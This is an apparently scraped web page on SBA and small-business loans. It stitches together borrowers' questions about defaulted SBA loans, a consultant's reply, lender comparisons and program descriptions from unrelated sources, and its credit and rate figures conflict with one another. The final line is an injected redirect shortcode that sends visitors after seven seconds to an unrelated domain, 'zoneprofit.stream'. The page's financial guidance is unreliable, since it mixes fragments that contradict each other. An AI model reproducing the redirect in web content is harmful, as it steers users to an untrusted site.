Luis, i’m sorry to hear about your experience with Second Wind Consultants, please give me a call or send me an email if you still have questions or concerns. Those fees that were quoted to you are absolutely outrageous and i’m sure that is not affordable to you. A defaulted SBA loan is simply a debt issue, not a legal issue. Don’t lose any more sleep over this, there is always a solution!
Because your personal credit score is in the 600s, you may qualify for a line of credit from BlueVine or OnDeck to help meet daily expenses and maintain inventory. OnDeck offers a higher credit limit and lower APRs than BlueVine. For businesses with at least nine months in operation and $75,000 in annual revenue, OnDeck is a good option. If you have less time in business and less revenue, consider BlueVine.
SBA loan terms can be more flexible, meaning borrowers can be approved even if they have fewer assets than required by commercial lenders. So if you are just starting out and don’t own a home or other big ticket asset to offer as collateral, you still have a good chance at getting a loan.
Since your business has steady revenue and has been operating for more than a year, consider OnDeck and Kabbage. If your personal credit score is at least 500, OnDeck offers term loans up to $500,000, which is an attractive option for large expansion projects or buying expensive equipment. If you’re looking for short-term financing or need a smaller amount, consider Kabbage, which does not require a minimum credit score. Kabbage offers only six- or 12-month financing of up to $250,000 at high borrowing costs.
If an SBA loan isn’t the right fit, look for small-business loans to meet your needs and goals with the help of NerdWallet’s comparison tool. We gauged lender trustworthiness and user experience, among other factors, and made recommendations based on categories including your revenue and how long you’ve been in business.
I have a Katrina Disaster Loan from the SBA. All of the funds were used to pay vendors and employees. I did not take a salary for 6 months. After a year of payment via liquidation of 401K, Assets, and home equity loan. I closed the business on Jan of 2007. I have a partner who has his house for collateral. he is medically disable and has been since 09. I have made 2 OIC with no reply. I have not the means to pay the loan and just got a foreclosure notice this week. What is the minimum OIC % you have seen accepted?
Read our in-depth guide to SBA 504 loans for more details You can also check current CDC rates on our SBA Loan Rates page. If you’re not wanting to work with a CDC, then you should look at getting an SBA 7a commercial real estate loan. Northeast Bank offers rates as low as 5.5% on loans up to $5,000,000. Get pre-qualified by filling out a short online form..
CAPLines are SBA lines of credit meant to help small businesses meet short-term and seasonal working capital needs. The SBA offers 5 types of these lines of credit. They can be fixed or revolving, have a max term of 5 years, and otherwise adhere to SBA 7(a) rules. Read more…
I have an SBA loan which has been mishandled by the bank. Briefly, my originating bank was absorbed by another. The first bank applied each payment correctly (fixed principle, WSJ interest + 2%) and not a single payment was missed in 7 years. When the new bank took over, they misapplied every payment (keeping up to 75% in interest and not reducing the principle) until I eventually stopped paying. They denied receiving certified mail, they denied ever having heard from me, they would not discuss the problem. I now pay Treasury directly but have incurred a penalty. And I have overpaid 2K to the bank. And they are holding my life insurance hostage (with an assignment to the original bank) and refuse to put in writing that the loan has reverted to Treasury. I am looking to sue for the overpayment and for damages because I’ve been put in an untenable position. I have paperwork to back up everything but limited funds for an attorney. What can I do? The gov’t says I’m on my own. Thanks for any assistance in advance.
My wife had a sba loan when she was younger and before we were married or even met. Her business closed 8 years ago and she owed about 35k on the loan with her mom as a partner as a LLC. We got married and she never did anything about the loan, her mom filled bankruptcy a few years ago. Last year our tax refund was kept by a collection company because of the old loan. Now she is facing bankruptcy and I am worried I might be liable for part of the loan through common law. Can a spouse inherit a debt for a defaulted sba loan?
With a strong personal credit score and at least one year in business, you can turn to StreetShares and OnDeck for equipment and expansion financing. StreetShares is better if you’re seeking a smaller amount of financing: You just need $25,000 in annual revenue to qualify for its term loan, which maxes out at $100,000. If you have at least $100,000 in revenue, OnDeck, with loans up to $500,000, is better suited for more mature businesses seeking larger amounts of financing.
Since you’ve been in business more than a year and have decent credit, you may qualify for funding from StreetShares or OnDeck. If you have at least $25,000 in revenue, StreetShares offers a loan or line of credit up to $100,000. If you want more funding, OnDeck has term loans of up to $500,000. OnDeck’s loans, however, can be costlier, with APRs as high as 98%; StreetShares’ funding has a maximum 40% APR.
We had a small business loan and the bank liened all our property, including personal home and rental house. We had to file Chapter 7 personally because of securing our business debt. We have been discharged for several years but the liens remain. The bank was repaid their 25% of the business loan by sale of our business property. The SBA guaranteed the 75%. Is there any possibility of getting the liens removed?
The government-guaranteed SBA loan program works with banks to offer low interest rates and long-term repayment. But the process is time-consuming, and the requirements are strict. Only those with good personal credit (690 or higher, although some SBA lenders may have lower score requirements), strong business finances and the flexibility to wait for funding should apply.
Because of unemployment, I defaulted on a SBA disaster loan for the contents of my home. The collection company has charged an outrageous administration fee. What can I do to reduce the administrative fee. Once I started working, I’ve been paying my loan every month for the past eight months, but they will not reduce the fee. Help?
The partner institutions set their own interest rates according to the creditworthiness of the borrower and the specifics of the startup or small business. However, on average, the interest rates range from 8% -13%.
It’s important to remember, however, that credit cards are an expensive way of financing a small business, particularly if you have bad credit. That’s because card issuers determine annual percentage rates based largely on your personal credit scores. And research has shown that small businesses that rely heavily on credit card financing typically fail.
Sounds great, but these loans require a lot of collateral and can be notoriously hard to secure. Application and approval can also be daunting — you’ll need to complete a slew of paperwork, put up to 30% down, and possibly wait a few months to see any money.
Women’s Business Centers (WBCs) represent a national network of over 100 non-profit educational centers throughout the United States and its territories, funded in part through SBA support. The maximum SBA grant for a WBC is $150,000 per year, although most centers receive less. WBCs are required to provide non-federal matching funds of 50% of the grant in the first two years and 100% thereafter.
The SBA Export Working Capital loans do not have a restricted interest rate. In theory this means the rate could be very high, but in practice the rates are usually in the range of 6-10%. The SBA reviews each deal and must deem the rates “reasonable.” The term on this loan is most often under 12 months, but can be up to 3 years.
Let’s take an average month of operations sales and expenses. Let’s assume the cash flow of your small business is $6,000 (gross sales minus expenses). Now let’s assume that your loan payments will total $1,500 per month. That makes your DSCR a 4, which is pretty strong. Most lenders will look for a score of at least 1.5 and definitely above a score of 1. A DSCR of less than 1 means you don’t have enough free cash flow to repay your loan from business operations.
The Small Business Administration isn’t a direct lender, but it does provide government backing so that riskier businesses can get financing through partner banks and credit unions, which are assured they will receive a portion of their money back even if you default.
• Your business needs to meet the SBA’s size requirements. In order to qualify as a small business, your firm needs to meet the government’s definition of a small business for your industry. Some industry size requirements are based on average annual receipts; other industries are judged based on the number of employees, which generally can’t exceed 500 workers — there are exceptions. The SBA maintains an exhaustive list of size requirements broken down by industry.
HELLO MY FATHER TO OUT A SBA LOAN WITH NO SECURITY AND MY MOM NAME WAS SECOND ON IT MY FATHER PAST AWAY 2 YEARS AGO MY MOM TRIED TO CONTINUE TO PAY ON IT BUT GOT DEFAULT BECUASE SHE ONLY RECEIVED SOCIAL SECURITY AND COULD NOT AFFORD TO PAY NOW THE FORWARD TO THE TREASURE WHAT CAN SHE DO THEY TALKING ABOUT TAKING 150 A MONTH FRO HER SOCIAL SECURITY CHECK PLEASE LET ME NO WHAT SHE CAN DO
The North Carolina Intermediary, Carolina Small Business Development Center, partners with Community Development Credit Unions (CDCUs) and community-based organizations to provide small business loans through the ILP program. For more information contact:
Finally, if you feel like you’re in over your head when it comes to handling your business’s finances, consider hiring a professional such as a certified public accountant who can help you get organized. Many CPAs moonlight as CFOs for businesses, and can be used part-time. Making that small investment before applying for small business loans can pay off in a faster acceptance and better terms. And if you need tips on keeping your small business in the black, read our primer on Small Business Money Traps to Avoid.
Small-business loans are typically issued only for businesses with a year or more of history and revenue. Among the financing options for entrepreneurs who qualify are U.S. Small Business Administration loans, term loans, business lines of credit and invoice factoring. Startups operating for less than a year can consider other financing options.
You’ll need to be a member, though requirements are often as simple as living in a specific area. Note that though credit unions may be more flexible than big banks, they still primarily lend to established businesses.
For small (up to $35,000), short-term loans, the SBA’s Microloan Program may be right to give your business the help it needs. The loans may be used for working capital or the purchase of inventory, furniture or fixtures, supplies, machinery, and/or equipment. The target audience is small businesses and not-for-profit child-care centers that need small-scale financing and perhaps some technical assistance for the purpose of starting up or expanding. These loans are administered through certain designated microloan lenders, which are nonprofit organizations with experience in financing small loans and providing businesses with technical assistance.
This is the type of loan that provides small businesses with long-term, fixed rate funding to buy generally real estate or machinery or equipment for expansion or modernization. A private lender must agree to cover up to 50 percent of the loan. Meanwhile, a Certified Development Company, which is one of hundreds of private, nonprofit corporations designed to help economic development, picks up 40 percent of the loan. The borrower must contribute at least 10 percent equity. “This loan involves a major capital acquisition for machinery, equipment, and/or real estate,” Cruz says. “A business may want to move out of rental space and buy a small building and this is the loan for them. They have to have 51 percent occupancy. You could not buy the building and occupy only 1 percent.” The SBA’s maximum debenture is $1.5 million when companies agree to job creation or community development goals. In general, businesses are required to create or retain one job for every $65,000 funded by the SBA — although small manufacturers have a $100,000 job retention or creation requirement. That SBA contribution can go up to $2 million ($4 million for small manufacturers) if public policy goals are met, including revitalization of a business district, export expansion, minority business develop, rural development, among other goals.
The U.S. Small Business Administration, or SBA, is a federal agency that provides loan guarantee programs to businesses that may not be able to get traditional bank loans and receive long-term, low interest rate funding. The SBA has a number of loan programs designed specifically for small and medium sized businesses, including microloans, SBA 7(a) loans, and CDC/504 loan program.
The SBA is a unique organization designed to assist small businesses with a variety of financing options and other needs. While it’s important to research each type of loan offered to ensure that it’s right for your situation, there are many instances in which an SBA loan could be a wise bet for obtaining a business loan.
NerdWallet’s interactive small-business loans tool allows you to find financing that meets your individual goals. Sort by the age of your business, your credit score and the amount of money you need. Lenders were chosen based on factors including trustworthiness and user experience. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]